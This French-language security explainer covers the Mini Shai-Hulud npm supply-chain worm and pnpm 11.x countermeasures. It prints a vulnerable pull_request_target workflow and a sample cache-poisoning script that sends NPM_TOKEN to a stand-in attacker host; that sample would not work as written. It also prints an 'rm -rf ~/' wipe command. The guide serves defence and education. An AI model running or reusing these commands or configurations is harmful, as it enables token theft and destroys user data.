Attaque par chaîne d'approvisionnement npm : Comprendre et prévenir le ver Mini Shai-Hulud
Découvrez l'attaque sophistiquée du ver Mini Shai-Hulud sur les paquets npm de TanStack, Mistral AI et UiPath. Apprenez comment cette vulnérabilité a exploité GitHub Actions et les mesures de protection avec pnpm 11.x.
Attaque par chaîne d'approvisionnement npm : Comprendre et prévenir le ver Mini Shai-Hulud
Introduction
L'attaque par chaîne d'approvisionnement du ver Mini Shai-Hulud sur les paquets npm de TanStack, Mistral AI et UiPath a mis en lumière des vulnérabilités critiques dans les processus de publication de logiciels open source. Cet incident démontre l'importance de sécuriser chaque maillon de la chaîne de livraison logicielle, de la configuration CI/CD à la gestion des dépendances, pour protéger les projets contre les compromissions sophistiquées.
Précis de configuration
| Élément | Version / Lien |
|---|---|
| Langage / Runtime | Node.js (pour npm, version 22+ requise pour pnpm 11.x), Python (pour PyPI) |
| Librairie principale | npm (registre npmjs.com), pnpm (version 11.x ou supérieure recommandée) |
| APIs requises | GitHub Actions, npm Registry, PyPI Registry |
| Clés / credentials nécessaires | Tokens OIDC (OpenID Connect), Tokens de publication npm, GitHub Personal Access Tokens (PATs) |
Guide étape par étape

Étape 1 — Comprendre le mécanisme d'attaque via GitHub Actions
L'attaque a exploité une configuration spécifique de GitHub Actions, le déclencheur pull_request_target. Contrairement au déclencheur pull_request standard, pull_request_target exécute le workflow dans le contexte du dépôt cible (main), avec toutes ses permissions, même si la pull request provient d'un fork externe. Cela a permis au code malveillant d'accéder aux secrets du dépôt principal.
name: Publish # Nom du workflow
on:
pull_request_target: # Déclencheur vulnérable : exécute le workflow dans le contexte du dépôt cible
types: [opened, synchronize, reopened] # Types d'événements qui déclenchent le workflow
workflow_dispatch: # Permet de déclencher manuellement le workflow
permissions:
contents: write # Permissions d'écriture sur le contenu du dépôt
id-token: write # Permissions d'écriture pour les tokens OIDC
Étape 2 — Exploitation du cache CI/CD
Une fois le workflow déclenché, le code malveillant, injecté via une pull request, a pu s'exécuter avec les permissions du dépôt principal. Il a ensuite écrit un fichier empoisonné dans le cache partagé du serveur CI/CD, qui est réutilisé entre les différentes étapes du workflow. Ce fichier a été conçu pour exfiltrer le token de publication npm et l'utiliser pour publier des versions compromises des paquets.
// Fichier malveillant injecté, par exemple dans vite_setup.mjs
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
const pnpmStore = path.join(os.homedir(), '.local/share/pnpm/store/v6');
fs.mkdirSync(pnpmStore, { recursive: true }); // Crée le répertoire du cache pnpm si inexistant
const payload = `
const { NPM_TOKEN, GITHUB_TOKEN } = process.env; // Accède aux variables d'environnement
if (NPM_TOKEN) {
// Exfiltre le token NPM vers un serveur contrôlé par l'attaquant
require('https://t.sh-hulud.exfil?t=' + NPM_TOKEN);
}
`;
// Écrit le payload malveillant dans le cache pnpm
fs.writeFileSync(path.join(pnpmStore, 'router_init.js'), payload);
// Le workflow GitHub Actions utilise ensuite ce cache
// Exemple de restauration du cache dans le workflow, qui chargerait le fichier malveillant :
// - name: Restore pnpm cache
// uses: actions/cache@v4
// with:
// path: ~/.local/share/pnpm/store
// key: pnpm-store-${{ runner.os }}-${{ hashFiles('package.json') }}
// restore-keys: |
// pnpm-store-${{ runner.os }}-
Étape 3 — Propagation et persistance du malware
Après avoir obtenu le token de publication npm, le ver a publié des versions compromises de paquets TanStack. Ces paquets, une fois installés par d'autres développeurs, ont permis au malware de se propager en scannant les systèmes pour d'autres tokens de publication et en publiant de nouvelles versions empoisonnées. Le ver a également intégré un "dead-man's switch" et des mécanismes de persistance dans les environnements de développement (comme VS Code) pour se réexécuter même après la désinstallation des paquets infectés.
# Commande exécutée par le "dead-man's switch" si le token GitHub volé est révoqué
rm -rf ~/ # Supprime récursivement le répertoire personnel de l'utilisateur
Tableaux comparatifs

| Caractéristique | npm (par défaut) | pnpm (v11.x avec paramètres par défaut) |
|---|---|---|
| Protection contre les attaques de chaîne d'approvisionnement | Faible | Élevée |
Délai d'installation des nouvelles versions (minimumReleaseAge) |
Aucun | 1440 minutes (1 jour) par défaut |
Dépendances transitives depuis des sources non fiables (blockExoticSubdeps) |
Autorisées | Bloquées par défaut |
Exécution automatique des scripts d'installation (allowBuilds) |
Autorisée | Bloquée par défaut, nécessite une liste blanche |
| Isolation des installations globales | Non isolé | Isolé (chaque pnpm add -g a son propre répertoire) |
| Gestion des tokens de publication | Vulnérable aux tokens de longue durée | Utilise des tokens de courte durée via OIDC |
⚠️ Erreurs fréquentes et pièges
- Utilisation non sécurisée de
pull_request_targetdans GitHub Actions : Ce déclencheur exécute le workflow avec les permissions du dépôt cible, même pour les PR provenant de forks. Si le workflow n'est pas conçu pour gérer du code non fiable, il peut exposer des secrets.- Solution : Évitez
pull_request_targetpour les workflows qui exécutent du code provenant de forks non fiables. Si son utilisation est impérative, assurez-vous que le workflow n'accède à aucun secret ou permission sensible, ou utilisez des étapes de validation strictes avant toute action critique.
- Solution : Évitez
- Absence de délai pour l'installation de nouvelles versions de paquets : L'installation immédiate de paquets fraîchement publiés augmente le risque d'intégrer des versions compromises avant qu'elles ne soient détectées.
- Solution : Configurez
pnpmavecminimumReleaseAge: 1440(1 jour) pour retarder l'installation des paquets récents, donnant ainsi le temps aux équipes de sécurité de détecter et de retirer les versions malveillantes.
- Solution : Configurez
- Autorisation de dépendances transitives depuis des sources non fiables : Les paquets peuvent lister des dépendances qui pointent vers des dépôts Git aléatoires ou des URL de tarball contrôlées par des attaquants.
- Solution : Activez
blockExoticSubdepsdanspnpmpour refuser l'installation de dépendances transitives qui ne proviennent pas d'un registre de paquets configuré et fiable.
- Solution : Activez
- Exécution automatique de scripts d'installation : De nombreux malwares npm s'exécutent via des scripts d'installation qui sont lancés automatiquement lors de
npm install.- Solution : Utilisez
pnpmavec la fonctionnalitéallowBuilds(gérée via la commandepnpm approve-builds) qui bloque par défaut tous les scripts d'installation. Vous pouvez ensuite explicitement mettre sur liste blanche les paquets dont vous approuvez l'exécution de scripts.
- Solution : Utilisez
- Non-révocation rapide des tokens GitHub volés : Un token GitHub compromis peut être utilisé pour des activités malveillantes, y compris la publication de code.
- Solution : Surveillez activement l'utilisation de vos tokens GitHub. En cas de compromission, révoquez immédiatement le token. Soyez conscient des "dead-man's switches" qui pourraient être activés par cette révocation et ayez un plan de récupération de données.
Glossaire
OIDC (OpenID Connect) : Une couche d'identité construite sur le protocole OAuth 2.0, permettant aux clients de vérifier l'identité de l'utilisateur final en fonction de l'authentification effectuée par un serveur d'autorisation, et d'obtenir des informations de profil de base sur l'utilisateur.
Supply Chain Attack : Une attaque cybernétique qui cible une organisation en s'introduisant dans sa chaîne d'approvisionnement, souvent en compromettant un fournisseur moins sécurisé ou un composant logiciel tiers.
Dépendance transitive : Une dépendance indirecte d'un projet, c'est-à-dire une bibliothèque ou un module dont dépend une de vos dépendances directes.
Points clés à retenir

- Les attaques par chaîne d'approvisionnement peuvent contourner les mesures de sécurité traditionnelles comme l'authentification par token de courte durée.
- Le déclencheur
pull_request_targetdans GitHub Actions est une vulnérabilité majeure s'il est mal configuré, permettant l'exécution de code malveillant avec des permissions élevées. - Le cache CI/CD peut être un vecteur d'attaque pour la persistance et l'exfiltration de secrets.
- Le ver Mini Shai-Hulud a démontré une capacité de propagation multi-langages (npm vers PyPI) et des techniques de camouflage sophistiquées (forger des commits AI).
- Les gestionnaires de paquets comme
pnpm(version 11.x) offrent des fonctionnalités de sécurité renforcées par défaut (minimumReleaseAge,blockExoticSubdeps,allowBuilds) pour atténuer ces risques. - La persistance du malware dans les environnements de développement (VS Code, Claude Code) rend la désinfection complexe.
- Le "dead-man's switch" est une tactique agressive pour dissuader la révocation des tokens volés, menaçant la suppression de données.
- Une vigilance constante et l'adoption de pratiques de sécurité robustes sont essentielles pour protéger les projets open source et leurs utilisateurs.
Ressources
- Documentation officielle pnpm : https://pnpm.io/
- Documentation GitHub Actions sur
pull_request_target: https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target - Article de blog Aikido sur l'attaque Mini Shai-Hulud : https://www.aikido.dev/blog/mini-shai-hulud-is-back-npm-worm-hits-over-160-packages-including-mistral-and-tanstack
- Sentry (sponsor) : https://sentry.io/fireship